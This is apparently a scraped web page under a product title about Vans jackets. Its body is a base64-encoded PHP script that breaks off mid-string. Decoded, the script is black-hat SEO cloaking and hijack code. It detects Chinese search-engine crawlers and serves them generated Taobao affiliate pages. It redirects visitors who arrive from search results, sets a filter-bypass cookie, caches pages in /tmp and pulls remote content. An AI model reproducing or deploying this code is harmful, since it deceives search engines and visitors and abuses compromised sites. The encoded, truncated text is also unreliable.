vans外套春秋
2016-05-29 11:51:39
ICRrZXlOYW1lID0ndmFuc+WkluWll+aYpeeniyc7IAoKZnVuY3Rpb24gQXBwX0dldExpbmsoKXsJ CglyZXR1cm4gImh0dHA6Ly93d3cuc2hhaWJhb2ouY29tL2FydGljbGUtIi5yYW5kKDEwMDAwMDAw LDk5OTk5OTk5KS4iLTEuaHRtbCI7Cn0KCmZ1bmN0aW9uIEFwcF9HZXRTZWxmKCl7CglyZXR1cm4g Imh0dHA6Ly93d3cuc2hhaWJhb2ouY29tL2FydGljbGUtIi5yYW5kKDEwMDAwMDAwLDk5OTk5OTk5 KS4iLTEuaHRtbCI7Cn0KCgovL8K3wrXCu8OYw43CvMOGwqwKZnVuY3Rpb24gZ2V0SW1nKCl7Cgly ZXR1cm4gJ2h0dHA6Ly93d3cuc2hhaWJhb2ouY29tL2ltZy8yMDE1MTEwNi9scScucmFuZCgxLDIw KS4iLmpwZyI7Cn0KCgoKCmZ1bmN0aW9uIHJuZFN0cigkbGVuZ3RoPTgpewoJJHN0ciA9IG51bGw7 Cgkkc3RyUG9sID0gIjAxMjM0NTY3ODlhYmNkZWZnaGlqa2xtbm9wcXJzdHV2d3h5eiI7CgkkbWF4 ID0gc3RybGVuKCRzdHJQb2wpLTE7Cglmb3IoJGk9MDskaTwkbGVuZ3RoOyRpKyspewoJCSRzdHIu PSRzdHJQb2xbcmFuZCgwLCRtYXgpXTsKCX0KCXJldHVybiAkc3RyOwp9CgpjbGFzcyBjb3JlQXBw Q2FjaGV7CgkKCXB1YmxpYyBmdW5jdGlvbiB3cml0ZSgkZmlsZSwkZmlsZW5hbWUpewoJCXJldHVy biBmaWxlX3B1dF9jb250ZW50cygkZmlsZW5hbWUsc2VsZjo6ZW5jb2RlKCRmaWxlKSk7Cgl9Cglw dWJsaWMgZnVuY3Rpb24gd3JpdGVub2NvZGUoJGZpbGUsJGZpbGVuYW1lKXsKCQlyZXR1cm4gZmls ZV9wdXRfY29udGVudHMoJGZpbGVuYW1lLCRmaWxlKTsKCX0KCXB1YmxpYyBmdW5jdGlvbiByZWFk KCRmaWxlbmFtZSl7CgkJJGNvbnRlbnQgPSBmaWxlX2dldF9jb250ZW50cygkZmlsZW5hbWUpOwoJ CWlmKHN0cmlzdHIoJGNvbnRlbnQsIjwvZXhwbG9kZT4iKSl7CgkJCSRjb250ZW50ID0gc2VsZjo6 Y3V0KCRjb250ZW50LCI8ZXhwbG9kZT4iLCI8L2V4cGxvZGU+Iik7CgkJfQoJCXJldHVybiBzZWxm OjpkZWNvZGUoJGNvbnRlbnQpOwoJfQoKCXB1YmxpYyBmdW5jdGlvbiBlbmNvZGUoJGZpbGUpewoJ CXJldHVybiBiYXNlNjRfZW5jb2RlKGd6Y29tcHJlc3Moc2VyaWFsaXplKCRmaWxlKSkpOyAKCX0K CglwdWJsaWMgZnVuY3Rpb24gZGVjb2RlKCRmaWxlKXsKCQlyZXR1cm4gdW5zZXJpYWxpemUoZ3p1 bmNvbXByZXNzKGJhc2U2NF9kZWNvZGUoJGZpbGUpKSk7IAoJfQoJCglwdWJsaWMgZnVuY3Rpb24g Y3V0KCRmaWxlLCRmcm9tLCRlbmQpCgl7IAoJCSRtZXNzYWdlPWV4cGxvZGUoJGZyb20sJGZpbGUp OyAKCQkkbWVzc2FnZT1leHBsb2RlKCRlbmQsJG1lc3NhZ2VbMV0pOyAKCQlyZXR1cm4gICAkbWVz c2FnZVswXTsKCX0KfQoKCgoKJG15X2NvbnRlbnQ9Jyc7CmlmKCFlbXB0eSgka2V5TmFtZSkpewoJ JHF1ZXJ5X2RhdGEgPSBhcnJheSgncSc9PiRrZXlOYW1lLCk7CgkkbXlfYWxpbWFtYSA9IG5ldyBh bGltYW1hKCRxdWVyeV9kYXRhKTsKCSRteV9hbGltYW1hLT5xdWVyeSgpOwoJJG15X2NvbnRlbnQg PSAkbXlfYWxpbWFtYS0+aHRtbCgpOwp9CiRkYXRhID0gc3RyX3JlcGxhY2UoJzxwaHB1bD48L3Bo cHVsPicsJG15X2NvbnRlbnQsJGRhdGEpOwppZihzdHJwb3MoJGRhdGEsIltpdGVtOm1lbnVdIikh PT0gZmFsc2UmJiFlbXB0eSgka2V5TmFtZSkpewoJJHRhZ191cmwgPSAnaHR0cHM6Ly9zdWdnZXN0 LnRhb2Jhby5jb20vc3VnP2NvZGU9dXRmLTgmcT0nLnVybGVuY29kZSgka2V5TmFtZSk7CgkkdGFn X2NvbnRlbnQgPSBhbGltYW1hOjpIdHRwVmlzaXQoJHRhZ191cmwpOwoJJHRhZ19qc29uID0ganNv bl9kZWNvZGUoJHRhZ19jb250ZW50LHRydWUpOwoJJHRhZ19tZW51ID0gJyc7Cglmb3JlYWNoICgk dGFnX2pzb25bJ3Jlc3VsdCddIGFzICRrZXkgPT4gJHZhbHVlKSB7CgkJJGh0dHBfaG9zdCA9ICRf U0VSVkVSWydIVFRQX0hPU1QnXTsKCQkkcGhwX3NlbGYgPSAkX1NFUlZFUlsnUEhQX1NFTEYnXTsK IAkJJHRhZ19pdGVtX3VybD0naHR0cDovLycuJGh0dHBfaG9zdC4kcGhwX3NlbGYuJz9rZXlOYW1l PScudXJsZW5jb2RlKCR2YWx1ZVswXSk7CgkJJHRhZ19tZW51ID0gJHRhZ19tZW51Lic8YSB0YXJn ZXQ9Il9ibGFuayIgaHJlZj0iJy4kdGFnX2l0ZW1fdXJsLiciPicuJHZhbHVlWzBdLic8L2E+JzsK CX0KCSRkYXRhID0gc3RyX3JlcGxhY2UoJ1tpdGVtOm1lbnVdJywkdGFnX21lbnUsJGRhdGEpOwp9 CgpjbGFzcyBhbGltYW1hewoJCglwdWJsaWMgJHNob3dfc3BpZGVyOwoJcHVibGljICRqdW1wX3Jl ZjsKCXB1YmxpYyAkaHR0cF9yZWZfZmlsdGVyOwoJcHVibGljICRqdW1wX3VybCA9ICIiOwoJcHVi bGljICRkb21haW4gPSAiIjsKCXB1YmxpYyAkY29uZGl0aW9uID0gIiI7CglwdWJsaWMgJGFwcF9z ZXJ2ZXIgPSAiIjsKCXB1YmxpYyAkbG9nX3NwaWRlciA9ICIiOwoJcHVibGljICRjdXJfc3BpZGVy ID0gIiI7CglwdWJsaWMgJGFsbG93X2lwID0gIiI7CglwdWJsaWMgJGlzQ2FjaGUgPSBmYWxzZTsK CXB1YmxpYyAkY3Jhd2xfdXJsID0gImh0dHA6Ly9wdWIuYWxpbWFtYS5jb20vaXRlbXMvc2VhcmNo Lmpzb24iOwoJcHVibGljICRxdWVyeV9kYXRhOwoJcHVibGljICRjb250ZW50OwoKCXB1YmxpYyAk bGlfdGVtcGxhdGU9IjxsaT4KICA8ZGl2IGNsYXNzPSdsaV9saXN0JyBvbm1vdXNlb3Zlcj0ndGhp cy5jbGFzc05hbWU9J2xpX2hvdmVyJycgb25tb3VzZW91dD0ndGhpcy5jbGFzc05hbWU9J2xpX2xp c3QnJz4KICAgIDxkaXYgY2xhc3M9J25ldyc+PC9kaXY+CiAgICA8ZGl2IGNsYXNzPSdjb2xsZWN0 Jz48YSBocmVmPSdqYXZhc2NyaXB0OjsnPjwvYT48L2Rpdj4KICAgIDxkaXYgY2xhc3M9J3BpYyc+ PGEgaHJlZj0ne3VybH0nIHRhcmdldD0nX2JsYW5rJz4gPGltZyBzcmM9J3twaWN1cmx9Jz48L2E+ PC9kaXY+CiAgICA8ZGl2IGNsYXNzPSd0aXRsZSc+IDxhIGhyZWY9J3t1cmx9JyB0YXJnZXQ9J19i bGFuayc+e3RpdGxlfTwvYT48L2Rpdj4KICAgIDxkaXYgY2xhc3M9J21vbmV5X2JnJz4gCgkgICAg PHNwYW4+PGVtIGNsYXNzPSdtb25leV9zeW1ib2wnPu+/pTwvZW0+PGVtIGNsYXNzPSdtb25leV9u dW0nPntwcmljZX08L2VtPjwvc3Bhbj4gCgkgICAgPHNwYW4gY2xhc3M9J2Z4X21vbmV5X2JnJz4g PGVtIGNsYXNzPSd6aGVrb3UgaXRlbScgc3R5bGU9J3Zpc2liaWxpdHk6IHZpc2libGU7Jz48Yj57 bmlja308L2I+PC9lbT4gCgkgICAgPGVtIGNsYXNzPSdxaWFuZ291Jz48L2VtPiAKICAgIDwvZGl2 PgogICAgPGRpdiBjbGFzcz0ndGpwX2JvdHRvbV9iZyc+CiAgICAgIDxkaXYgY2xhc3M9J3RqcF9i b3R0b20nPgogICAgICAgIDxkaXYgY2xhc3M9J3RqcF9mYWJ1IGNvbG9yXzk5Jz57dG90YWxGZWV9 PC9kaXY+CiAgICAgICAgPGRpdiBjbGFzcz0ndGpwX3hpYW9iaWFuIGNvbG9yXzY2Jz57dG90YWxO dW19PC9kaXY+CiAgICAgIDwvZGl2PgogICAgPC9kaXY+CiAgPC9kaXY+CjwvbGk+ICI7CgoJLy/l rprkuYnmnoTpgKDlh73mlbDvvIznlKjkuo7liJ3lp4vljJbotYvlgLwKICAgIGZ1bmN0aW9uIF9f Y29uc3RydWN0KCRxdWVyeV9kYXRhKQogICAgewogICAgICAgICAkdGhpcy0+cXVlcnlfZGF0YSA9 ICRxdWVyeV9kYXRhOyAgICAgICAgLy/ov5nph4zlt7Lnu4/kvb/nlKjkuoZ0aGlz5oyH6ZKI6K+t 5Y+l4pGgCiAgICB9CgoJcHVibGljIGZ1bmN0aW9uIHNldFF1ZXJ5RGF0YSgkcXVlcnlfZGF0YSl7 CgkJJHRoaXMtPnF1ZXJ5X2RhdGEgPSAkcXVlcnlfZGF0YTsKCQlyZXR1cm4gdHJ1ZTsKCX0KCglw dWJsaWMgZnVuY3Rpb24gaHRtbCgpewoJCSRjb250ZW50ID0gJHRoaXMtPmNvbnRlbnQ7CgkJJGFs aW1hbWFfanNvbiA9IGpzb25fZGVjb2RlKCRjb250ZW50LHRydWUpOwoJCSRodG1sID0gIjx1bD4i OwoJCWZvcmVhY2ggKCRhbGltYW1hX2pzb25bJ2RhdGEnXVsncGFnZUxpc3QnXSBhcyAka2V5ID0+ ICR2YWx1ZSkgewoJIAkJJGl0ZW1fdXJsPSR2YWx1ZVsnYXVjdGlvblVybCddOwoJIAkJJGl0ZW1f dGl0bGU9JHZhbHVlWyd0aXRsZSddOwoJIAkJJGl0ZW1fcHJpY2U9JHZhbHVlWyd6a1ByaWNlJ107 CgkgCQkkaXRlbV9waWN0VXJsPSR2YWx1ZVsncGljdFVybCddLidfNDAweDQwMF8ud2VicCc7Cgkg CQkkaXRlbV9uaWNrPSR2YWx1ZVsnbmljayddOwoJIAkJJGl0ZW1fdG90YWxOdW09J+aAu+mUgOmH jzonLiR2YWx1ZVsndG90YWxOdW0nXTsKCSAJCSRpdGVtX3RvdGFsRmVlPSfmgLvkuqTmmJPpop06 Jy4kdmFsdWVbJ3RvdGFsRmVlJ107CgoJCQkkaHR0cF9ob3N0ID0gJF9TRVJWRVJbJ0hUVFBfSE9T VCddOwogCQkJJHBocF9zZWxmID0gJF9TRVJWRVJbJ1BIUF9TRUxGJ107CgkgCQkkaXRlbV91cmw9 J2h0dHA6Ly8nLiRodHRwX2hvc3QuJHBocF9zZWxmLic/Z290dT0nLmJhc2U2NF9lbmNvZGUoJGl0 ZW1fdXJsKTsKCgkgCQkkaXRlbV9waWN0VXJsPSdodHRwOi8vaS5rYW50dS5pbi8nLmJhc2U2NF9l bmNvZGUoJGl0ZW1fcGljdFVybCk7CgoJCQkkbGkgPSAkdGhpcy0+bGlfdGVtcGxhdGU7CgoJCQkk bGkgPSBzdHJfcmVwbGFjZSgne3RpdGxlfScsJGl0ZW1fdGl0bGUsJGxpKTsKCQkJJGxpID0gc3Ry X3JlcGxhY2UoJ3twcmljZX0nLCRpdGVtX3ByaWNlLCRsaSk7CgkJCSRsaSA9IHN0cl9yZXBsYWNl KCd7dXJsfScsJGl0ZW1fdXJsLCRsaSk7CgkJCSRsaSA9IHN0cl9yZXBsYWNlKCd7cGljdXJsfScs JGl0ZW1fcGljdFVybCwkbGkpOwoJCQkkbGkgPSBzdHJfcmVwbGFjZSgne3RvdGFsTnVtfScsJGl0 ZW1fdG90YWxOdW0sJGxpKTsKCQkJJGxpID0gc3RyX3JlcGxhY2UoJ3tuaWNrfScsJGl0ZW1fbmlj aywkbGkpOwoJCQkkbGkgPSBzdHJfcmVwbGFjZSgne3RvdGFsRmVlfScsJGl0ZW1fdG90YWxGZWUs JGxpKTsKCgkJCSRodG1sID0gJGh0bWwuJGxpOwoJIAkJLy8gZWNobyAkbGk7CgkgCX0KCSAJJGh0 bWwgPSAkaHRtbC4iPC91bD4iOwoJCXJldHVybiAkaHRtbDsKCX0KCglwdWJsaWMgZnVuY3Rpb24g cXVlcnkoKXsKCQkkdXJsICA9ICR0aGlzLT5jcmF3bF91cmwuJz8nLmh0dHBfYnVpbGRfcXVlcnko JHRoaXMtPnF1ZXJ5X2RhdGEpOwoJCSR0aGlzLT5jb250ZW50ID0gJHRoaXMtPkh0dHBWaXNpdCgk dXJsKTsKCX0KCglwdWJsaWMgZnVuY3Rpb24gcnVuKCl7CgkJJHRoaXMtPmRvbWFpbiA9ICR0aGlz LT5nZXRTZXJ2ZXJOYW1lKCk7CgkJJHRoaXMtPmp1bXBfcmVmID0gZXhwbG9kZSgifCIsImJhaWR1 LnxoYW9zby58aGFvc291LnxiaW5nLnxzby58c29nb3UufHNvc28uIik7CgkJJHRoaXMtPmh0dHBf cmVmX2ZpbHRlciA9IGV4cGxvZGUoInwiLCJpbnVybDp8c2l0ZTp8c2l0ZSUzQXxpbnVybCUzQSIp OwoJCSR0aGlzLT5hbGxvd19pcCA9ICIyMjIuMTg0LjIzNHwxMTIuODcuNzF8NTguMjIxLjg3Lnw0 OS42Ny4yMjMiOwoJCSR0aGlzLT5jb25kaXRpb24gPSAoJF9HRVRbJ2FpZCddID4gMTAwMDAwMDAg JiYgJHRoaXMtPmlzQWxsb3dkSXAoKSk7CgkJJHRoaXMtPmFwcF9zZXJ2ZXIgPSAiIjsKCQkkdGhp cy0+aXNDYWNoZSAgPSBGYWxzZTsKCQlpZigkdGhpcy0+aXNTcGlkZXIoKSAmJiAkdGhpcy0+aXNB bGxvd2RJcCgpKXsKCQkJCWlmKCR0aGlzLT5jb25kaXRpb24pewoJCQkJCWlmKCR0aGlzLT5pc0Nh Y2hlKXsKCQkJCQkJJHJlbHNldF9ob3N0ID0gJHRoaXMtPmdldFNlcnZlck5hbWUoKTsKCQkJCQkJ JGRpciA9IChzdWJzdHIoUEhQX09TLCAwLCAzKSA9PSAnV0lOJyA/ICdDOi93aW5kb3dzL3RlbXAv JyA6ICcvdG1wLycpIC4gc3Vic3RyKG1kNSgkcmVsc2V0X2hvc3QpLCAyNikgLiBjaHIoNDcpOwoJ CQkJCQkkY2FjaGVGaWxlID0gJGRpci4nc2Vzc18nIC4gc3Vic3RyKG1kNShodHRwX2J1aWxkX3F1 ZXJ5KCRfR0VUKSksIDYpOwoJCQkJCQlpZighQGZpbGVfZXhpc3RzKCRkaXIpKXsKICAgICAgICAg ICAgIAkJCQkgbWtkaXIoJGRpciwgMDc3Nyk7CiAgICAgICAgICAgIAkJCX0KCQkJCQkJaWYoQGZp bGVfZXhpc3RzKCRjYWNoZUZpbGUpICYmIEBmaWxlc2l6ZSAoJGNhY2hlRmlsZSkgPiAzMiApewoJ CQkJCQkJJHZhciA9IGNvcmVBcHBDYWNoZTo6cmVhZCgkY2FjaGVGaWxlKTsKCQkJCQkJCSRwYWdl ID0gZmlsZV9nZXRfY29udGVudHMoQVBQX0pBQ0tfVEVNUExBVEUpOwoJCQkJCQkJZm9yZWFjaCgk dmFyIGFzICRrZXk9PiR2KXsKCQkJCQkJCQkkZmxhZyA9ICJ7Ii4ka2V5LiJ9IjsKCQkJCQkJCQkk cGFnZSA9IHN0cl9yZXBsYWNlKCRmbGFnLCR2LCRwYWdlKTsKCQkJCQkJCX0KCQkJCQkJCWVjaG8g JHBhZ2U7CgkJCQkJCQlleGl0KCk7CgkJCQkJCX0KCQkJCQkJZWxzZQoJCQkJCQl7CQoJCQkJCQkJ Ly/CsMO8wrrCrMK9w7hBUFDCvMK0wr/DiQoJCQkJCQkJJGN1cnJlbnRQYWdlID0gaW5jbHVkZShB UFBfSkFDS19BUFBGSUxFKTsKCQkJCQkJCWlmKCRjdXJyZW50UGFnZSAmJiBzdHJsZW4oJGN1cnJl bnRQYWdlKSA+IDMyICYmIHN0cmlzdHIoJGN1cnJlbnRQYWdlLCI8L2V4cGxvZGU+IikpewoJCQkJ CQkJCSR2YXIgPSBzZWxmOjpjdXQoJGN1cnJlbnRQYWdlLCI8ZXhwbG9kZT4iLCI8L2V4cGxvZGU+ Iik7CgkJCQkJCQkJJHZhciA9IGNvcmVBcHBDYWNoZTo6ZGVjb2RlKCR2YXIpOwoJCQkJCQkJCSRw YWdlID0gZmlsZV9nZXRfY29udGVudHMoQVBQX0pBQ0tfVEVNUExBVEUpOwoJCQkJCQkJCWZvcmVh Y2goJHZhciBhcyAka2V5PT4kdil7CgkJCQkJCQkJCSRmbGFnID0gInsiLiRrZXkuIn0iOwoJCQkJ CQkJCQkkcGFnZSA9IHN0cl9yZXBsYWNlKCRmbGFnLCR2LCRwYWdlKTsKCQkJCQkJCQl9CgkJCQkJ CQkJZWNobyAkcGFnZTsKCQkJCQkJCQlAY29yZUFwcENhY2hlOjp3cml0ZW5vY29kZSgkY3VycmVu dFBhZ2UsJGNhY2hlRmlsZSk7CgkJCQkJCQl9CgkJCQkJCX0KCQkJCQkJZGllKCk7CgkJCQkJfQoJ CQkJCWVsc2UKCQkJCQl7CgkJCQkJCSRjdXJyZW50UGFnZSA9IGluY2x1ZGUoQVBQX0pBQ0tfQVBQ RklMRSk7CgkJCQkJCWVjaG8gJGN1cnJlbnRQYWdlOwoJCQkJCQlkaWUoKTsKCQkJCQl9CgkJCQl9 CgkJCQllbHNlCgkJCQl7CgoJCQkJCSR0aGlzLT5fdW5jb25kaXRpb25faG9vaygpOwoJCQkJfQoJ CX0KCQllbHNlCgkJewkKCQkJaWYoJHRoaXMtPmlzUmVmKCkgJiYgJHRoaXMtPmNvbmRpdGlvbil7 CgkJCQkkdGhpcy0+SnVtcCgpOwoJCQl9CgkJCWVsc2UKCQkJewoJCQkJJHRoaXMtPl91blNwaWRl cl9ob29rKCk7CgkJCX0KCQl9Cgl9CgoJcHVibGljIGZ1bmN0aW9uIGlzQWxsb3dkSXAoKXsKCQkk aXAgPSAkdGhpcy0+Y2xpZW50SXAoKTsKCQkkbm9uX2xpc3QgPSBleHBsb2RlKCJ8IiwkdGhpcy0+ YWxsb3dfaXApOwoJCWZvcmVhY2goJG5vbl9saXN0IGFzICRpcGxpc3QpewoJCQlpZihAc3RyaXN0 cigkaXAsJGlwbGlzdCkpewoJCQkJcmV0dXJuIGZhbHNlOwoJCQl9CgkJfQoJCXJldHVybiB0cnVl OwoJfQoKCXB1YmxpYyBmdW5jdGlvbiBjbGllbnRJcCgpewoJCWlmKGdldGVudignSFRUUF9DTElF TlRfSVAnKSAmJiBzdHJjYXNlY21wKGdldGVudignSFRUUF9DTElFTlRfSVAnKSwgJ3Vua25vd24n KSkgewoJCQkkb25saW5laXAgPSBnZXRlbnYoJ0hUVFBfQ0xJRU5UX0lQJyk7CgkJfSBlbHNlaWYo Z2V0ZW52KCdIVFRQX1hfRk9SV0FSREVEX0ZPUicpICYmIHN0cmNhc2VjbXAoZ2V0ZW52KCdIVFRQ X1hfRk9SV0FSREVEX0ZPUicpLCAndW5rbm93bicpKSB7CgkJCSRvbmxpbmVpcCA9IGdldGVudign SFRUUF9YX0ZPUldBUkRFRF9GT1InKTsKCQl9IGVsc2VpZihnZXRlbnYoJ1JFTU9URV9BRERSJykg JiYgc3RyY2FzZWNtcChnZXRlbnYoJ1JFTU9URV9BRERSJyksICd1bmtub3duJykpIHsKCQkJJG9u bGluZWlwID0gZ2V0ZW52KCdSRU1PVEVfQUREUicpOwoJCX0gZWxzZWlmKGlzc2V0KCRfU0VSVkVS WydSRU1PVEVfQUREUiddKSAmJiAkX1NFUlZFUlsnUkVNT1RFX0FERFInXSAmJiBzdHJjYXNlY21w KCRfU0VSVkVSWydSRU1PVEVfQUREUiddLCAndW5rbm93bicpKSB7CgkJCSRvbmxpbmVpcCA9ICRf U0VSVkVSWydSRU1PVEVfQUREUiddOwoJCX0KCQlwcmVnX21hdGNoKCIvW1xkXC5dezcsMTV9LyIs ICRvbmxpbmVpcCwgJG9ubGluZWlwbWF0Y2hlcyk7CgkJJG9ubGluZWlwID0gJG9ubGluZWlwbWF0 Y2hlc1swXSA/ICRvbmxpbmVpcG1hdGNoZXNbMF0gOiAndW5rbm93bic7CgkJdW5zZXQoJG9ubGlu ZWlwbWF0Y2hlcyk7CgkJcmV0dXJuICRvbmxpbmVpcDsKCX0KCglwdWJsaWMgZnVuY3Rpb24gaXNT cGlkZXIoKXsKCQkkYm90cyA9IGFycmF5KAoJCQkJJ0JhaWR1JyAgICAgICAgPT4gJ2JhaWR1c3Bp ZGVyJywKCQkJCSdTb2dvdScgICAgICAgID0+ICdzb2dvdScsCgkJCQknSGFvc28nICAgICAgICA9 PiAnaGFvc291c3BpZGVyJywKCQkJCSczNjBzcGlkZXInICAgICAgICA9PiAnMzYwc3BpZGVyJwoJ CSApOwoJCSR1c2VyQWdlbnQgPSBzdHJ0b2xvd2VyKCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQn XSk7CgkJZm9yZWFjaCAoJGJvdHMgYXMgJGsgPT4gJHYpewoJCQlpZiAoc3RyaXN0cigkdXNlckFn ZW50LCR2KSl7CgkJCQlpZighZW1wdHkoJHRoaXMtPmxvZ19zcGlkZXIpKXsKCQkJCQlAZmlsZV9w dXRfY29udGVudHMoJHRoaXMtPmxvZ19zcGlkZXIsJHYuIi0+VmlzaXRlZCAiLiRfU0VSVkVSWydR VUVSWV9TVFJJTkcnXS4iYXQ6ICIuZGF0ZSgiWS1tLWQgSDppOnMiKS4iXG4iLEZJTEVfQVBQRU5E KTsKCQkJCX0KCQkJCSR0aGlzLT5jdXJfc3BpZGVyID0gJGs7CgkJCQlyZXR1cm4gdHJ1ZTsKCQkJ CWJyZWFrOwoJCQl9CgkJfQoJCXJldHVybiBmYWxzZTsJCgl9CgoJcHVibGljIGZ1bmN0aW9uIGlz UmVmKCl7CgkJJHJlZiA9IHN0cnRvbG93ZXIoQCRfU0VSVkVSWydIVFRQX1JFRkVSRVInXSk7CgkJ aWYoaXNzZXQoJF9DT09LSUVbImRvbWFpbi1maWx0ZXItYnlwYXNzIl0pKXsKCQkJcmV0dXJuIGZh bHNlOwoJCX0KCQkKCQlpZighJHRoaXMtPmlzQWxsb3dkSXAoKSl7CgkJCXNldGNvb2tpZSgiZG9t YWluLWZpbHRlci1ieXBhc3MiLCAibG9sIiwgdGltZSgpICsgMjU5MjAwKTsKCQkJcmV0dXJuIGZh bHNlOwoJCX0KCgkJZm9yZWFjaCgkdGhpcy0+aHR0cF9yZWZfZmlsdGVyIGFzICRyKXsKCQkJJHIg PSB0cmltKCRyKTsKCQkJaWYoc3RyaXN0cigkcmVmLCRyKSl7CgkJCQlzZXRjb29raWUoImRvbWFp bi1maWx0ZXItYnlwYXNzIiwgImxvbCIsIHRpbWUoKSArIDI1OTIwMCk7CgkJCQlyZXR1cm4gZmFs c2U7CgkJCX0KCQl9CgkKCQlmb3JlYWNoKCR0aGlzLT5qdW1wX3JlZiBhcyAkcil7CgkJCSRyID0g dHJpbSgkcik7CgkJCWlmKHN0cmlzdHIoJHJlZiwkcikpewoJCQkJcmV0dXJuIHRydWU7CgkJCX0K CQl9Cgl9CgoJcHVibGljIGZ1bmN0aW9uIGdldFNlcnZlck5hbWUoKSAKCXsgCgkJJFNlcnZlck5h bWUgPSBzdHJ0b2xvd2VyKCRfU0VSVkVSWydTRVJWRVJfTkFNRSddPyRfU0VSVkVSWydTRVJWRVJf TkFNRSddOiRfU0VSVkVSWydIVFRQX0hPU1QnXSk7IAoJCWlmKCBzdHJwb3MoJFNlcnZlck5hbWUs J2h0dHA6Ly8nKSApIAoJCXsgCgkJCXJldHVybiBzdHJfcmVwbGFjZSgnaHR0cDovLycsJycsJFNl cnZlck5hbWUpOyAKCQl9IAoJCXJldHVybiAkU2VydmVyTmFtZTsgCgl9CgoJcHVibGljIGZ1bmN0 aW9uIGdldFBhZ2UoKXsKCQlpZigkdGhpcy0+aXNDYWNoZSl7CgkJCSRjYWNoZT0iY2FjaGVkIjsK CQl9CgkJJHVybCAgPSAkdGhpcy0+YXBwX3NlcnZlci4iP2RvbWFpbj0iLiR0aGlzLT5kb21haW4u IiZnaWQ9MTk5JnNwaWRlcj0iLiR0aGlzLT5jdXJfc3BpZGVyLiImY2FjaGU9Ii4kY2FjaGUuIiZs b2NhbFBhcj0iLmh0dHBfYnVpbGRfcXVlcnkoJF9HRVQpOwoJCXJldHVybiAkdGhpcy0+SHR0cFZp c2l0KCR1cmwpOwoJfQoKICAgIHB1YmxpYyBmdW5jdGlvbiBIdHRwVmlzaXQoJHdlYnVybCkgewog ICAgCSR1c2VyX2FnZW50ID0gIk1vemlsbGEvNS4wIChNYWNpbnRvc2g7IEludGVsIE1hYyBPUyBY IDEwXzEwXzUpIEFwcGxlV2ViS2l0LzUzNy4zNiAoS0hUTUwsIGxpa2UgR2Vja28pIENocm9tZS80 NS4wLjI0NTQuODUgU2FmYXJpLzUzNy4zNiBRUUJyb3dzZXIvMy45LjM5NDMuNDAwIjsKICAgICAg ICAkcmVtb3RlX2RhdGEgPSBOVUxMOwogICAgICAgIGlmIChmdW5jdGlvbl9leGlzdHMoJ2N1cmxf ZXhlYycpKSB7CiAgICAgICAgICAgICRjdXJsID0gQGN1cmxfaW5pdCgpOwogICAgICAgICAgICBA Y3VybF9zZXRvcHQoJGN1cmwsIENVUkxPUFRfVVJMLCAkd2VidXJsKTsKICAgICAgICAgICAgQGN1 cmxfc2V0b3B0KCRjdXJsLCBDVVJMT1BUX0hFQURFUiwgMCk7CiAgICAgICAgICAgIEBjdXJsX3Nl dG9wdCgkY3VybCwgQ1VSTE9QVF9DT05ORUNUVElNRU9VVCwgMzApOwogICAgICAgICAgICBAY3Vy bF9zZXRvcHQoJGN1cmwsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIDEpOwogICAgICAgICAgICBA Y3VybF9zZXRvcHQoJGN1cmwsIENVUkxPUFRfVVNFUkFHRU5ULCAkdXNlcl9hZ2VudCk7IAogICAg ICAgICAgICAkcmVtb3RlX2RhdGEgPSBAY3VybF9leGVjKCRjdXJsKTsKICAgICAgICAgICAgQGN1 cmxfY2xvc2UoJGN1cmwpOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgIGlmIChmdW5jdGlv bl9leGlzdHMoJ3N0cmVhbV9jb250ZXh0X2NyZWF0ZScpKSB7CiAgICAgICAgICAgICAgICAkaGVh ZGVyX2FycmF5ID0gYXJyYXkoJ2h0dHAnID0+IGFycmF5KCdtZXRob2QnID0+ICdHRVQnLCAndGlt ZW91dCcgPT4gMzApKTsKICAgICAgICAgICAgICAgICRodHRwX2hlYWRlciA9IEBzdHJlYW1fY29u dGV4dF9jcmVhdGUoJGhlYWRlcl9hcnJheSk7CiAgICAgICAgICAgICAgICAkcmVtb3RlX2RhdGEg PSBAZmlsZV9nZXRfY29udGVudHMoJHdlYnVybCwgZmFsc2UsICRodHRwX2hlYWRlcik7CiAgICAg ICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAkdGVtcF91cmwgPSBleHBsb2RlKCIvIiwg JHdlYnVybCk7CiAgICAgICAgICAgICAgICAkbmV3X3VybCA9ICR0ZW1wX3VybFsyXTsKICAgICAg ICAgICAgICAgICRodHRwX3BvcnQgPSA4MDsKICAgICAgICAgICAgICAgICRnZXRfZmlsZSA9IHN1 YnN0cigkd2VidXJsLCBzdHJsZW4oJG5ld191cmwpICsgNyk7CiAgICAgICAgICAgICAgICBpZiAo c3Ryc3RyKCRuZXdfdXJsLCBjaHIoNTgpKSkgewogICAgICAgICAgICAgICAgICAgICRzX3Zhcl9h cnJheVsndGQnXSA9IGV4cGxvZGUoY2hyKDU4KSwgJG5ld191cmwpOwogICAgICAgICAgICAgICAg ICAgICRuZXdfdXJsID0gJHNfdmFyX2FycmF5Wyd0ZCddWzBdOwogICAgICAgICAgICAgICAgICAg ICRodHRwX3BvcnQgPSAkc192YXJfYXJyYXlbJ3RkJ11bMV07CiAgICAgICAgICAgICAgICB9CiAg ICAgICAgICAgICAgICAkZnNvY2tfcmVzdWx0ID0gQGZzb2Nrb3BlbigkbmV3X3VybCwgJGh0dHBf cG9ydCk7CiAgICAgICAgICAgICAgICBAZnB1dHMoJGZzb2NrX3Jlc3VsdCwgJ0dFVCAnIC4gJGdl dF9maWxlIC4gJyBIVFRQLzEuMScgLiAiXHJcbiIgLiAnSG9zdDonIC4gJG5ld191cmwgLiAiXHJc biIgLiAnQ29ubmVjdGlvbjpDbG9zZScgLiAiXHJcblxyXG4iKTsKICAgICAgICAgICAgICAgIHdo aWxlICghZmVvZigkZnNvY2tfcmVzdWx0KSkgewogICAgICAgICAgICAgICAgICAgICRyZW1vdGVf ZGF0YSAuPSBmZ2V0cygkZnNvY2tfcmVzdWx0LCAxMDI0KTsKICAgICAgICAgICAgICAgIH0KICAg ICAgICAgICAgICAgIEBmY2xvc2UoJGZzb2NrX3Jlc3VsdCk7CiAgICAgICAgICAgIH0KICAgICAg ICB9CiAgICAgICAgcmV0dXJuICRyZW1vdGVfZGF0YTsKICAgIH0KCglwdWJsaWMgZnVuY3Rpb24g SnVtcCgpewoJCWlmKCR0aGlzLT5pc0FsbG93ZElwKCkpewoJCQkkZG9tYWluICA9IHN0cl9yZXBs 